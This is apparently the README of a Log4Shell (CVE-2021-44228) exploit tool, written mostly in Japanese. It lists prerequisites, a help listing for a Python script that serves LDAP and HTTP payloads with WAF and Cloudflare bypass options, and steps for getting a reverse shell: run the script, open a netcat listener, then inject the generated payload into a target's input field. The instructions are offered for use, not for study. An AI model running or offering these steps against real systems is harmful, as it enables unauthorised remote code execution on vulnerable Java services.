Log4j シンプルなエクスプロイト

CVE-2021-44228 脆弱性に対する概念実証エクスプロイト。

Log4j はセキュリティおよびパフォーマンス情報のログ記録に使用され、Java を使用する様々なコンシューマーおよびエンタープライズサービス、ウェブサイト、アプリケーション、さらには医療機器やサポートシステムにわたる30億以上のデバイスに影響を与えます。
注記: これは「ポイントアンドクリック」のエクスプロイトではありません。初期トリガーペイロードは生成されますが、それを適切な場所（HTTP ヘッダー/チャット/等）に注入するのはユーザーの責任です。

前提条件

python3
pip install -r requirements.txt
jdk1.8.0_20 をインストールし、bin フォルダを環境変数に追加してください。

usage: python CVE-2021-44228-exploit.py --help 
[!] CVE: CVE-2021-44228
[!] This is simple Log4j exploit to get reverse shell
[!] Reference: https://akashpatil.me/log4j-guide-book.html

usage: CVE-2021-44228-exploit.py [-h] [--userip userip] [--webport webport] [--lport lport] [-b bypass]

log4shell Reverse shell exploit

optional arguments:
  -h, --help            show this help message and exit
  --userip userip       Enter IP for LDAPRefServer & Shell
  --webport webport     listener port for HTTP port
  --lport lport         Netcat Port
  -b bypass, --bypass bypass
                        Type of bypass payload. None/WAF/Methods/Cloudflare. Methods - "ldap", "jndi", or the
                        ${lower:x} method restriction bypass

例:

Linux OS でメソッドバイパスペイロードを使用してスクリプトを実行します

python poc-csw.py --userip private-ip --webport 8888 --lport 9001 -b methods

2) ローカルマシンでポート 9001 で netcat を実行します

nc -lvnp 9001

'Try me' ペイロードをコピーしてメソッド制限をバイパスし、それを入力変数として使用して netcat でシェルを取得します
注記: バイパスを選択しない場合は 'Send me' ペイロードを使用します

log4j-shell-csw

人気

log4j-shell-csw

人気

Log4j シンプルなエクスプロイト

前提条件

例:

参考